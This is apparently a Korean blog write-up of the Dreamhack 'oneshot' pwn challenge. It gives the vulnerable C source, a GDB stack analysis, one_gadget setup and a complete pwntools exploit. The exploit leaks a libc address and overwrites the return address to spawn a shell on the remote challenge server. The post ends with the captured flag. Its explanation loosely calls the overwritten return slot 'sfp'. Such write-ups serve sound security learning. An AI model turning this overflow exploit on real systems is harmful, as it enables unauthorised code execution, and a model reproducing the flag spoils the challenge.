반응형

 

libc.so.6
1.78MB
oneshot
0.01MB
oneshot.c
0.00MB

 

 


oneshot gadget이란

 

라이브러리 내에 존재하는 가젯으로, 리눅스 시스템에서 특정 조건 하에 PC를 바꾸는 것만으로 셸을 실행시켜 주는 코드 가젯이다.

 

쉽게 말해, 이전 문제들에서는 gadget을 구하고 해당 가젯에서 사용되는 레지스터에 원하는 값들을 넣어준 후 /bin/sh를 실행하게 했지만

 

oneshot-gadget은 해당 가젯의 주소로 점프하여 호출하는 것만으로 /bin/sh이 실행되는 가젯이다.

 

즉, 이전처럼 번거롭게 레지스터에 값을 안 넣어도 되고, 그저 ret 영역에 oneshot-gadget의 주소를 덮어씌워줌으로써 exploit 된다.

 


문제 실행 시 동작 파악과 보호 기법 확인

 

 

oneshot 바이너리 파일을 실행하면 stdout 함수의 주소를 알려주고, "MSG: " 문자열이 띄워진 후 입력을 받는데, "aaaaaaaa"를 입력하니 입력한 값이 그대로 출력되고 그 밑에 이상한 값이 출력된다.

 

 

카나리가 적용되어 있지 않기 때문에 수월하다.

 

NX는 실행에 사용되는 메모리 영역과 쓰기에 사용되는 메모리 영역을 분리하는 보호 기법이고

PIE는 보호 기법이라고하기에는 애매하지만 ASLR이 코드 영역에도 적용되겠끔 해준다.

 


소스 코드

 

// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("MSG: ");
    read(0, msg, 46);

    if(check > 0) {
        exit(0);
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}

 

msg의 크기는 16인데, read() 함수 호출에서 46byte만큼 받고 있기 때문에 SBOF가 발생하고, check 변수의 값을 0으로 초기화 해줬는데 read 함수 호출 후 check 변수의 값이 0인지 검사하고 있다.

 

read 함수 호출 후 check 변수의 값이 0이면 무사히 검사를 통과하여 printf() 함수의 호출로 인해 msg 배열에 담긴 값을 출력한다.

 


exploit

 

실제 메모리에서 msg 배열의 공간 확인

 

https://sean.tistory.com/407 이 글에서 GDB로 확인 부분을 참고하여 메모리 스택을 분석해본다.

 

 

rbp의 주소는 0x7fff8928b500이다.

 

 

read() 함수에 bp를 걸고 실행하여 read() 함수 직전에 멈춘 뒤 n을 입력해 read() 함수를 호출한 다음 aaaaaaaa를 입력해보면

 

 

위의 사진에서 0x7fff8928b4e0 주소에 0x6161616161616161이 있다.

 

스택은 높은 주소에서 낮은 주소로 자라지만, 데이터의 입력은 낮은 주소에서 높은 주소로 입력되기 때문에

 

0x7fff8928b4e0 ~ 0x7fff8928b4f7까지가 msg 배열 영역이고, 0x7fff8928b4f8부터 8byte는 check 변수의 영역이다.

 

그리고 0x7fff8928b500 주소부터 8byte가 sfp 영역이다.

 

즉, 24(0x18) + 8(0x8) + 8(0x8) = 46(0x2E) 크기만큼을 덮어써야 sfp 영역에 oneshot-gadget의 주소를 덮어쓸 수 있다.

 

 

one_gadget 툴을 이용해 라이브러리에 있는 oneshot gadget들 확인

 

one_gadget은 다운로드 후 설치를 해줘야 하므로 설치가 안되어 있다면 아래의 글을 참고한다.

더보기
git clone https://github.com/david942j/one_gadget.git

 먼저 위의 명령어를 입력해 one_gadget 레포지토리를 다운로드한다.

 

gem install one_gadget

 

one_gadget 디렉토리로 이동 후 위의 명령을 입력한다.

 

 

one_gadget을 이용해 라이브러리 내의 oneshot_gadget들을 확인하면 위와 같이 4개가 나오는데, 4개 중 아무거나 써도 된다.

 

 

payload

from pwn import *

#p = process('./oneshot')
p = remote('host3.dreamhack.games', 22304)
libc = ELF('./libc.so.6')


stdout_offset = libc.symbols['_IO_2_1_stdout_']
oneshot_gadget_offset = 0x45216

p.recvuntil('stdout: ')

# str -> decode() -> bytes
# bytes -> encode() -> str
# stdout_addr = int(p.recvuntil("\n")[:-1], 16)
# stdout_addr = int(p.recvuntil("\n"), 16)
stdout_addr = int((p.recvuntil("\n").decode('utf-8').strip("\n")).encode('utf-8'), 16)
print("stdout_addr : " + hex(stdout_addr))

libc_base = stdout_addr - stdout_offset
oneshot_gadget_addr = libc_base + oneshot_gadget_offset

print("stdout: " + hex(stdout_addr))
print("libc_base : " + hex(libc_base))

payload = b"a" * 0x18 + p64(0) + b"b" * 0x8 + p64(oneshot_gadget_addr)
p.sendafter("MSG: ", payload)

p.interactive()

 

payload를 작성할 때 stdout_addr의 값을 가져올 때 decode()와 encode()를 사용한 이유는 strip()으로 '\n'을 없애주기 위함이다.

 

굳이 저렇게 안 하고 위에 주석 처리되어 있는 것으로 해도 되지만, 그러면 '\n'도 같이 저장되기 때문이다.

 

또한, payload 변수에 dummy 값으로 채울 때 중간에 p64(0)이 들어가는 이유는 check 변수의 검사 때문이다.

 

 

exploit result

DH{a6e74f669acffd69602b76c81c0516b2}

 

반응형

'전쟁 > Dreamhack Pwn' 카테고리의 다른 글

[Dreamhack pwn] fho  (0) 2023.01.26
[Dreamhack pwn] basic_rop_x86  (0) 2023.01.21
[Dreamhack pwn] basic_rop_x64  (0) 2023.01.19
[Dreamhack pwn] rop  (2) 2023.01.14
[Dreamhack pwn] Return to Library  (0) 2023.01.07

+ Recent posts